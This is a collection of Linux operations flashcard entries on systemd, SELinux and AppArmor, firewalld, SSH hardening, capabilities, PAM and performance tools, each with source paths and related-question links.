* [[What is the difference between Wants= and Requires= in a systemd unit file?]]
* [[What is the difference between After=/Before= and Wants=/Requires= in systemd unit files?]]
* [[WantedBy vs RequiredBy?]]
Q: What log priorities does journalctl support?
A: 0=emerg, 1=alert, 2=crit, 3=err, 4=warning, 5=notice, 6=info, 7=debug. Use <html><code>-p 0..3</code></html> to show only critical messages.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you view only error-level journal entries?]]
* [[What are syslog priorities (severities)?]]
* [[journalctl: primary tool for querying the systemd journal]]
Q: How does systemd integrate with cgroups?
A: Each systemd service runs in its own cgroup, allowing resource accounting and limits. Use <html><code>CPUQuota=</code></html>, <html><code>MemoryMax=</code></html>, <html><code>IOWeight=</code></html> in unit files. <html><code>systemd-cgtop</code></html> shows per-service resource usage.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `systemd-cgtop` show?]]
* [[What are cgroups (control groups) and how does Linux use them for resource limits?]]
* [[Cgroups enforce resource limits via separate v1 hierarchy or unified v2 tree]]
Q: What is a systemd timer?
A: A replacement for cron jobs. Timer units (<html><code>.timer</code></html>) activate associated service units on a schedule. Support calendar events (<html><code>OnCalendar=</code></html>), monotonic timers (<html><code>OnBootSec=</code></html>, <html><code>OnUnitActiveSec=</code></html>), and persistent timers that catch up on missed runs.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What does `OnCalendar=` do in a systemd timer?]]
* [[What does `Persistent=true` do in a systemd timer?]]
* [[What is systemd?]]
Q: What does <html><code>systemctl list-units --type=service --state=failed</code></html> show?
A: All service units currently in a failed state. Useful for troubleshooting boot or runtime failures.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between a service failure and a dependency failure?]]
* [[How do you check why a service failed?]]
Q: What is systemd-tmpfiles?
A: Manages creation, deletion, and cleanup of temporary and volatile files. Configuration in <html><code>/etc/tmpfiles.d/</code></html> and <html><code>/usr/lib/tmpfiles.d/</code></html>. Runs at boot via <html><code>systemd-tmpfiles-setup.service</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between /tmp and /var/tmp?]]
* [[/tmp persistence varies by distribution — no guarantee across reboot]]
Q: What is systemd-networkd?
A: systemd's network management daemon for configuring network interfaces via <html><code>.network</code></html>, <html><code>.netdev</code></html>, and <html><code>.link</code></html> files in <html><code>/etc/systemd/network/</code></html>. Lightweight alternative to NetworkManager for servers and containers.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is NetworkManager?]]
* [[What is systemd?]]
* [[What is systemd and how does it manage Linux services?]]
Q: How do you check why a service failed?
A: <html><code>systemctl status <service></code></html> shows recent log output and the exit code. <html><code>journalctl -u <service> -b --no-pager</code></html> shows full logs for the current boot.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you debug a service that won't start?]]
* [[How to check the status of a service?]]
* [[systemd standardizes service and process management across distros]]
Q: What is SELinux?
A: Security-Enhanced Linux — a Mandatory Access Control (MAC) system developed by the NSA and Red Hat. It enforces security policies beyond traditional DAC (discretionary access control), labeling every process, file, and resource with a security context.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SELinux vs AppArmor: MAC models compared]]
Q: What is SELinux and how does it enforce mandatory access control?
A: SELinux (Security-Enhanced Linux) is a mandatory access control (MAC) system.
Features:
* Fine-grained access control beyond standard permissions
* Labels on files, processes, ports
* Policy defines allowed actions
* Developed by NSA, in mainline kernel
Modes:
* Enforcing: Blocks and logs violations
Remember: SELinux: Enforcing, Permissive, Disabled. Check: <html><code>getenforce</code></html>. "EPD."
Gotcha: <html><code>setenforce 0</code></html> is temporary. Permanent: <html><code>/etc/selinux/config</code></html>. Disabling breaks compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What are the three SELinux modes?]]
* [[Disabling SELinux to fix startup errors trades security for convenience]]
Q: What are the three SELinux modes?
A: <html><code>enforcing</code></html>: policies are enforced, violations are blocked and logged. <html><code>permissive</code></html>: violations are logged but not blocked (useful for debugging). <html><code>disabled</code></html>: SELinux is completely off.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SELinux and how does it enforce mandatory access control?]]
* [[What are AppArmor's two modes?]]
Q: SELinux enforcing vs permissive?
A: Enforcing blocks violations.
Permissive logs AVC denials but allows execution—used for debugging and policy development.
Remember: SELinux: Enforcing, Permissive, Disabled. Check: <html><code>getenforce</code></html>. "EPD."
Gotcha: <html><code>setenforce 0</code></html> is temporary. Permanent: <html><code>/etc/selinux/config</code></html>. Disabling breaks compliance.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Disabling SELinux to fix startup errors trades security for convenience]]
* [[Explain the SELinux context format and how type enforcement works in targeted policy.]]
Q: How do you check the current SELinux mode?
A: <html><code>getenforce</code></html> or <html><code>sestatus</code></html> for detailed status.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you temporarily change SELinux mode?]]
* [[What are the three SELinux modes?]]
Q: How do you temporarily change SELinux mode?
A: <html><code>setenforce 0</code></html> (permissive) or <html><code>setenforce 1</code></html> (enforcing). Permanent changes require editing <html><code>/etc/selinux/config</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the three SELinux modes, and how do you check the current mode?]]
* [[How do you check the current SELinux mode?]]
Q: What is an SELinux security context?
A: A label in the format <html><code>user:role:type:level</code></html> (e.g., <html><code>system_u:object_r:httpd_sys_content_t:s0</code></html>). The type field is most important for policy enforcement (type enforcement).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain the SELinux context format and how type enforcement works in targeted policy.]]
* [[What is SELinux?]]
Q: What is <html><code>restorecon</code></html>?
A: Restores the default SELinux context on files based on the file context database. Usage: <html><code>restorecon -Rv /var/www/html/</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is an SELinux security context?]]
* [[An application cannot read files in its data directory due to SELinux. How do you diagn…]]
Q: What are SELinux booleans?
A: Runtime toggles that modify SELinux policy without recompiling. Example: <html><code>setsebool -P httpd_can_network_connect on</code></html> allows Apache to make network connections. List with <html><code>getsebool -a</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is SELinux and how does it enforce mandatory access control?]]
* [[What are the three SELinux modes?]]
Q: What is <html><code>audit2allow</code></html>?
A: A tool that generates SELinux policy allow rules from audit log denials: <html><code>grep denied /var/log/audit/audit.log | audit2allow -M mypolicy && semodule -i mypolicy.pp</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you create a custom SELinux policy module to allow a specific denied action?]]
* [[auditd operates at kernel level with rule-based logging]]
Q: What are AppArmor's two modes?
A: <html><code>enforce</code></html>: violations are blocked and logged. <html><code>complain</code></html>: violations are logged but allowed (equivalent to SELinux permissive).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Explain AppArmor profiles and enforcement modes]]
* [[What are the three SELinux modes?]]
* [[AppArmor uses path-based rules instead of SELinux's label complexity]]
Q: What is firewalld?
A: A dynamic firewall manager (frontend to nftables/iptables) using zones and services. Default on RHEL/Fedora. Supports runtime and permanent configurations.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[The Linux firewall stack: netfilter kernel framework and userspace tools]]
Q: What is firewalld daemon responsible for?
A: firewalld is a dynamic firewall manager for Linux.
Responsibilities:
* Managing firewall rules
* Zone-based configuration
* Runtime and permanent rules
* D-Bus interface for applications
Features:
* Zones: Different trust levels (public, home, trusted)
Remember: Ubuntu=UFW, RHEL=firewalld. Both=iptables/nftables frontends.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[What is the relationship between firewalld, iptables, and nftables?]]
* [[What is a firewalld zone?]]
Q: What is a firewalld zone?
A: A trust level for a network interface. Common zones: <html><code>drop</code></html> (drop all incoming), <html><code>block</code></html> (reject all incoming), <html><code>public</code></html> (default, limited incoming), <html><code>trusted</code></html> (accept all), <html><code>dmz</code></html>, <html><code>home</code></html>, <html><code>work</code></html>, <html><code>internal</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is firewalld daemon responsible for?]]
* [[What is firewalld?]]
Q: What is a firewalld rich rule?
A: A complex firewall rule with specific match criteria. Example: <html><code>firewall-cmd --add-rich-rule='rule family=ipv4 source address=10.0.0.0/8 port port=8080 protocol=tcp accept' --permanent</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is firewalld?]]
* [[What is firewalld daemon responsible for?]]
Q: How do you harden SSH?
A: In <html><code>/etc/ssh/sshd_config</code></html>: <html><code>PermitRootLogin no</code></html>, <html><code>PasswordAuthentication no</code></html>, <html><code>PubkeyAuthentication yes</code></html>, <html><code>AllowUsers admin</code></html>, <html><code>Port 2222</code></html> (non-default), <html><code>MaxAuthTries 3</code></html>. Also deploy fail2ban and use key-based authentication only.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Restrict SSH access only after verifying alternative access paths exist]]
* [[Do you have experience with hardening servers? Can you describe the process?]]
Q: Name five SSH hardening settings you should configure in /etc/ssh/sshd_config.
A: PermitRootLogin no, PasswordAuthentication no (use keys only), MaxAuthTries 3, X11Forwarding no, and AllowUsers <specific-users>. Additional settings: ClientAliveInterval 300, ClientAliveCountMax 2, LogLevel VERBOSE. Always restrict ciphers and MACs to strong algorithms.
Remember: SSH hardening: disable root, disable passwords, use keys, fail2ban. <html><code>/etc/ssh/sshd_config</code></html>.
Example: <html><code>ssh-keygen -t ed25519</code></html> — modern, fast, secure. Ed25519 > RSA.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-security.tsv</code></html>
''Related atoms''
* [[Do you have experience with hardening servers? Can you describe the process?]]
Q: What is fail2ban?
A: An intrusion prevention daemon that monitors log files and bans IP addresses showing malicious behavior (repeated failed logins, etc.) by adding firewall rules. Configurable jails define services to protect.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Fail2ban's single-threaded design can become a bottleneck under load]]
* [[What is `pam_tally2` / `pam_faillock`?]]
Q: What are <html><code>ausearch</code></html> and <html><code>aureport</code></html>?
A: <html><code>ausearch</code></html> searches audit logs with filters (e.g., <html><code>ausearch -k mykey -ts today</code></html>). <html><code>aureport</code></html> generates summary reports from audit logs (logins, file access, syscalls, etc.).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the AUR?]]
* [[journalctl: primary tool for querying the systemd journal]]
Q: What are Linux capabilities?
A: Fine-grained privileges that decompose root's power into distinct units. Instead of running as root, a process can have only the capabilities it needs. Viewed with <html><code>getpcaps <PID></code></html> or <html><code>getcap <file></code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux capabilities fragment root privileges into granular units]]
* [[What are the common Linux capabilities?]]
* [[Four Linux access-control systems]]
Q: What is CAP_NET_BIND_SERVICE?
A: A capability allowing a process to bind to ports below 1024 without running as root.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[How do you set a capability on a file?]]
* [[What are the common Linux capabilities?]]
* [[Linux capabilities fragment root privileges into granular units]]
Q: What is CAP_SYS_ADMIN?
A: The "new root" capability — a catch-all granting many administrative operations (mounting filesystems, setting hostname, loading kernel modules). Should be avoided when possible.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are Linux capabilities?]]
* [[What are the common Linux capabilities?]]
Q: What is the purpose of /etc/securetty?
A: Historically listed terminal devices from which root was allowed to log in. Modern systems using PAM may not use it, and systemd-based systems have deprecated it.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is /etc/login.defs used for in security?]]
* [[What is /var/log/auth.log?]]
* [[What is PAM?]]
Q: What is chroot?
A: Changes the apparent root directory for a process and its children. Provides basic isolation but is NOT a security boundary (root can escape a chroot). Used for system repair and build environments.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the main advantage of using `chroot`? When and why do we use it? What is the pu…]]
* [[What is switch_root?]]
Q: What is AIDE?
A: Advanced Intrusion Detection Environment — a file integrity monitoring tool that creates a database of file checksums and attributes, then periodically checks for unauthorized changes. Similar to Tripwire.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is `lynis`?]]
Q: What is <html><code>chage</code></html> used for?
A: Manages password aging policies per user. <html><code>chage -l user</code></html> lists policy. <html><code>chage -M 90 user</code></html> sets maximum password age to 90 days. <html><code>chage -E 2026-12-31 user</code></html> sets account expiry date.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Password aging, complexity, and credential lifecycle policies]]
* [[What is /etc/login.defs used for in security?]]
Q: What are the common Linux capabilities?
A: CAP_NET_BIND_SERVICE (bind low ports), CAP_NET_RAW (raw sockets, ping), CAP_SYS_ADMIN (broad admin), CAP_SYS_PTRACE (debug processes), CAP_DAC_OVERRIDE (bypass file permissions), CAP_CHOWN (change file ownership), CAP_SETUID/CAP_SETGID (change UID/GID), CAP_NET_ADMIN (network configuration).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are Linux capabilities?]]
* [[Linux capabilities fragment root privileges into granular units]]
* [[Capabilities vs setuid?]]
Q: How do you set a capability on a file?
A: <html><code>setcap cap_net_bind_service+ep /usr/bin/myapp</code></html> — grants the binary the ability to bind to ports below 1024 without root. <html><code>getcap /usr/bin/myapp</code></html> verifies.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is CAP_NET_BIND_SERVICE?]]
* [[Linux capabilities fragment root privileges into granular units]]
* [[Capabilities vs setuid?]]
Q: What is <html><code>pam_tally2</code></html> / <html><code>pam_faillock</code></html>?
A: PAM modules for account lockout after failed login attempts. <html><code>pam_tally2</code></html> is deprecated; <html><code>pam_faillock</code></html> (RHEL 8+) is the replacement. Configured in <html><code>/etc/security/faillock.conf</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Common PAM modules for authentication, policy, and hardening]]
* [[PAM modular framework: service config, types, and controls]]
* [[What is PAM?]]
Q: What is <html><code>pam_limits</code></html>?
A: A PAM module that enforces resource limits from <html><code>/etc/security/limits.conf</code></html> — such as max open files (nofile), max processes (nproc), max memory size, and CPU time per user or group.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Common PAM modules for authentication, policy, and hardening]]
* [[PAM modular framework: service config, types, and controls]]
* [[What is PAM?]]
Q: What is FIPS mode in Linux?
A: Federal Information Processing Standards compliance mode, required by US government systems. Restricts the system to FIPS-approved cryptographic algorithms. Enabled via <html><code>fips=1</code></html> kernel parameter on RHEL.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a FIFO (named pipe)?]]
* [[What is User-mode Linux?]]
* [[What are Linux capabilities?]]
Q: What is <html><code>lynis</code></html>?
A: An open-source security auditing tool that scans Linux systems for security issues, configuration problems, and hardening opportunities. Generates a hardening index and actionable recommendations.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux logging is a layered system with interdependent components]]
* [[auditd: kernel-level security audit logging for Linux]]
Q: What is the <html><code>umask</code></html> for a secure system?
A: <html><code>umask 077</code></html> ensures new files are only accessible by the creating user (files get 600, directories get 700). Default of 022 allows group and others to read.
----
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is umask? How to set it permanently for a user?]]
* [[Explain the differences among the following umask values: 000, 002, 022, 027, 077, and …]]
Q: How do you interpret load average?
A: Divide by the number of CPU cores. A load of 4.0 on a 4-core system means 100% utilization. Above the core count indicates processes are waiting. Consistently high 15-minute averages suggest sustained overload.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Load average is a blunt instrument without resource decomposition]]
* [[How to check what is the current load average?]]
* [[A server shows load average of 24 on a 4-core system but CPU utilization is only 15%. W…]]
Q: What is load average?
A: Linux ''load averages'' are "system load averages" that show the running thread (task) demand on the system as an average number of running plus waiting threads. This measures demand, which can be greater than what the system is currently processing. Most tools show three averages, for 1, 5, and 15 minutes.
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
* [[What is the difference between `uptime` load average and CPU utilization?]]
* [[High load average but low CPU usage - why?]]
Q: You know how to see the load average, great. but what each part of it means? for example 1.43, 2.34, 2.78
A: [[This article|http://www.brendangregg.com/blog/2017-08-08/linux-load-averages.html]] summarizes the load average topic in a great way
Remember: Load avg = processes in run/IO-wait over 1/5/15 min. 4-core: load 4.0 = 100%.
Gotcha: Load includes I/O wait. High load + low CPU = disk bottleneck.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-performance.tsv</code></html>
''Related atoms''
* [[Load average is processes in runnable or uninterruptible sleep state]]
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
* [[Load averages are above 30 on a server with 24 cores but CPU shows around 70 percent id…]]
Q: What are the key columns in <html><code>top</code></html>?
A: PID, USER, PR (priority), NI (nice), VIRT (virtual memory), RES (resident physical memory), SHR (shared memory), S (state), %CPU, %MEM, TIME+, COMMAND.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What do the three load average numbers represent in Linux (shown by `uptime` or `top`)?]]
* [[What is the difference between VIRT, RES, and SHR in top?]]
* [[What does `/proc/PID/smaps` show?]]
Q: What is the difference between VIRT, RES, and SHR in top?
A: VIRT = total virtual memory (allocated, not necessarily used). RES = actual physical memory in use (resident set size). SHR = memory shared with other processes (shared libraries, shared memory segments).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What are the key columns in `top`?]]
* [[Explain RSS vs VSZ vs PSS.]]
* [[Core sysctl parameters control memory overcommit, swapping, reclaim, and OOM behavior]]
Q: What does <html><code>vmstat</code></html> show?
A: System-wide stats: processes (r=running, b=blocked), memory (swap, free, buffer, cache), swap I/O, block I/O, CPU percentages (user, system, idle, iowait, steal). Usage: <html><code>vmstat 1 5</code></html> (every 1 second, 5 times).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `iostat` show?]]
* [[What does `mpstat` show?]]
* [[What does `pidstat` show?]]
Q: What does <html><code>iostat</code></html> show?
A: CPU utilization and device I/O statistics: tps (transfers/sec), read/write bandwidth, average queue size, await (latency), and utilization. Part of the <html><code>sysstat</code></html> package.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `mpstat` show?]]
* [[What does `vmstat` show?]]
* [[What does `pidstat` show?]]
Q: What does <html><code>mpstat</code></html> show?
A: Per-CPU statistics including user, system, iowait, soft IRQ, steal, and idle percentages. <html><code>mpstat -P ALL 1</code></html> shows all CPUs every second.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `iostat` show?]]
* [[What does `vmstat` show?]]
* [[What does `pidstat` show?]]
Q: What is the <html><code>mpstat -I ALL</code></html> command useful for?
A: Shows interrupt statistics per CPU including hardware interrupts, software interrupts, and individual interrupt counts. Helps diagnose interrupt storms and imbalances.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does `iostat` show?]]
* [[What is `/proc/interrupts`?]]
* [[What does `vmstat` show?]]
Q: What does <html><code>pidstat</code></html> show?
A: Per-process resource statistics: CPU, memory, I/O, context switches. <html><code>pidstat -d 1</code></html> shows disk I/O per process every second.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What information can you find in `/proc/PID/status`?]]
* [[/proc/PID/io tracks disk I/O bytes; sample over time to identify trends]]
* [[What does `vmstat` show?]]
Q: What does <html><code>sar</code></html> do?
A: System Activity Reporter — collects and reports historical system performance data (CPU, memory, disk, network). Data is stored by <html><code>sadc</code></html> and queried with <html><code>sar</code></html>. Part of <html><code>sysstat</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[SAR provides time-machine access to historical performance data]]
* [[What is the difference between `vmstat` si/so and `sar -W`?]]
* [[What does `iostat` show?]]
Q: What is the difference between buffers and cache in memory?
A: Buffers: kernel buffer cache for raw block device I/O metadata. Cache: page cache for file data read from disk. Both can be reclaimed under memory pressure, so the "available" column is more meaningful than "free."
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Linux page cache inflates 'used' memory; 'available' is the real metric]]
* [[High buff/cache is expected behavior; drop caches only for benchmarking]]
* [[Why does free not show all available memory as free?]]
Q: What does <html><code>strace</code></html> do?
A: Traces system calls made by a process: <html><code>strace -p <PID></code></html> attaches to a running process. <html><code>strace command</code></html> traces from start. <html><code>-e trace=network</code></html> filters to network syscalls. <html><code>-c</code></html> provides a summary of syscall counts and times.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ftrace?]]
* [[Is it safe to attach the `strace` to a running process on the production? What are the …]]
Q: What does <html><code>ltrace</code></html> do?
A: Traces dynamic library calls made by a process, similar to how strace traces system calls. Useful for debugging library interactions.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Using system call tracing to debug when application logs are unhelpful]]
* [[What is `bpftrace`?]]
* [[What is `strace` command and how should be used? Explain example of connect to an alrea…]]
Q: What does strace do? What about ltrace?
A: Both are tracing tools but at different levels:
strace - System call tracer:
* Traces kernel syscalls (open, read, write, etc.)
* Shows interaction with kernel
* strace -p PID (attach to process)
* strace -e open cmd (filter specific calls)
* Useful for: debugging, understanding program behavior
ltrace - Library call tracer:
Remember: Tools: ps(list), top(monitor), kill(signal), lsof(files), strace(syscalls).
Gotcha: kill -15 first, kill -9 as last resort. -9 prevents graceful cleanup.
----
''Sources''
* <html><code>training/interactive/knowledge/data/cards/linux-processes.tsv</code></html>
''Related atoms''
* [[What is ftrace?]]
* [[Using system call tracing to debug when application logs are unhelpful]]
Q: What is <html><code>bpftrace</code></html>?
A: A high-level tracing language for Linux using eBPF. Allows one-liner performance tools: <html><code>bpftrace -e 'tracepoint:syscalls:sys_enter_open { printf("%s %s\n", comm, str(args->filename)); }'</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is ftrace?]]
* [[What does `ltrace` do?]]
* [[What does `strace` do?]]
Q: What does <html><code>dmesg</code></html> show?
A: The kernel ring buffer — messages from the kernel about hardware, drivers, and system events. <html><code>dmesg -T</code></html> shows human-readable timestamps. <html><code>dmesg --level=err,warn</code></html> filters by severity.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the kernel ring buffer?]]
* [[Explain the purpose of dmesg vs journalctl.]]
* [[How do you view kernel messages with human-readable timestamps and filter for errors?]]
Q: What does <html><code>lsof</code></html> do?
A: Lists open files — including regular files, directories, sockets, pipes, and devices. <html><code>lsof -i :80</code></html> shows what's using port 80. <html><code>lsof +D /var/log</code></html> shows processes with files open in that directory.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What does the lsof command do? Have you used it? What for?]]
* [[lsof -i shows open network connections at process level]]
* [[What does `fuser` do?]]
Q: What does <html><code>fuser</code></html> do?
A: Identifies processes using files or sockets: <html><code>fuser -v /var/log/syslog</code></html> shows who has the file open. <html><code>fuser -k 8080/tcp</code></html> kills the process using that port.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Kill a process locking or writing to a file]]
* [[What does `lsof` do?]]
Q: What is the USE Method for performance analysis?
A: Utilization, Saturation, Errors — check all resources (CPU, memory, network, disk) for these three metrics. Created by Brendan Gregg as a systematic approach to performance troubleshooting.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Methodology matters more than tools in performance debugging]]
* [[How you measure time execution of a program?]]
* [[How do you identify and resolve performance bottlenecks in a data center?]]
Q: What does <html><code>/proc/meminfo</code></html> contain?
A: Detailed memory statistics: MemTotal, MemFree, MemAvailable, Buffers, Cached, SwapTotal, SwapFree, Active, Inactive, Dirty, Slab, PageTables, HugePages_*, and more.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[MemFree vs MemAvailable in /proc/meminfo]]
* [[Checking Linux memory and CPU stats]]
* [[/proc filesystem exposes detailed system and process state]]
Q: What does <html><code>/proc/cpuinfo</code></html> contain?
A: CPU details per logical core: vendor, model name, frequency, cache size, core/thread IDs, flags (sse, avx, vmx, etc.), and bugs (spectre, meltdown mitigations).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
//Merged from 2 source atoms.//
''Related atoms''
* [[Where can you find information on the processor (like number of CPUs)?]]
* [[What is the `lscpu` command?]]
* [[What does `/proc/meminfo` contain?]]
Q: What is the difference between Docker and Podman?
A: Docker uses a client-server architecture with a root daemon (dockerd). Podman is daemonless, runs rootless by default, is OCI-compliant, and generates systemd unit files. Podman is CLI-compatible with Docker.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is QEMU?
A: Quick EMUlator — a software-based machine emulator and virtualizer. When paired with KVM, it provides hardware-accelerated virtual machines. QEMU handles device emulation while KVM handles CPU virtualization.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[KVM (Kernel-based Virtual Machine)]]
* [[What is virtio?]]
* [[libvirt: virtualization management API and toolkit]]
Q: How can you detect if you're inside a container?
A: Check <html><code>/proc/1/cgroup</code></html> — if it shows docker, containerd, or kubepods paths, you're in a container. Also check for <html><code>/.dockerenv</code></html> file or the <html><code>container</code></html> environment variable.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is an overlay filesystem?
A: A union filesystem that layers a read-write upper directory on top of read-only lower directories. Used by Docker/Podman to create container filesystems from stacked image layers. The default is <html><code>overlay2</code></html>.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is a mount namespace used for in containers?]]
* [[What is the VFS (Virtual Filesystem Switch)?]]
Q: What is containerd?
A: An industry-standard container runtime that manages the container lifecycle (image pull, storage, execution, networking). Docker uses containerd internally; Kubernetes can use it directly via CRI.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is runc?
A: The reference implementation of the OCI runtime specification. It creates and runs containers using Linux namespaces, cgroups, and seccomp. Both Docker and Podman use it (or compatible alternatives like crun).
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
Q: What is a Type-1 vs Type-2 hypervisor?
A: Type-1 (bare-metal): runs directly on hardware (KVM, ESXi, Xen, Hyper-V). Type-2 (hosted): runs on top of a host OS (VirtualBox, VMware Workstation). KVM is technically Type-1 because the kernel IS the hypervisor.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[Containers vs. VMs: kernel sharing vs. hardware virtualization]]
* [[KVM (Kernel-based Virtual Machine)]]
* [[What virtualization solutions are available for Linux?]]
Q: What is <html><code>crun</code></html>?
A: A fast, lightweight OCI container runtime written in C. Alternative to runc with lower memory usage and faster startup. Used by default in some Podman configurations.
----
''Sources''
* <html><code>training/library/topics/linux-ops/trivia-compendium.md</code></html>
''Related atoms''
* [[What is the difference between crun and runc?]]
* [[What is runc?]]
Q: What is <html><code>buildah</code></html>?
